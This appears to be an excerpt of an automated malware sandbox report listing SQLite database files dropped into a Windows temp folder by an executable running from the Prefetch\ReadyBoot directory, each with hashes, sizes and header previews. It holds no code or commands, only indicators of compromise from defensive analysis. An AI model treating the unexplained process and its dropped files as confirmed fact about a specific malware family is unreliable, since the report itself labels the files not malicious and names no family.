Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\akoSdepB0C

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ao2NmyHDlD

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b83qoQxdfC

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boRAfOEPDL

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cEZtl8Q1fy

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cErdXrdqOA

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cZwaYfpKea

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cgKE23ZqTo

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cgTAXxmJGO

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cvoP6NWoa4

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\d3p9DnpAMf

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dCkec23DBT

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dNXkNEdIis

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dhQYjttY6V

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ditjj6Bfp7

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e87rhVQGXa

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eSvLqivfpd

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f2QF1XaEkv

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fUQv0AgLLp

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fmRwTfRDae

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g1RM1Cc1Yc

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gE1PbeqSwR

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gE80vS9TKq

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gbeUKiGTGX

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gkzBalEZCg

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\glGE9Aacxh

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

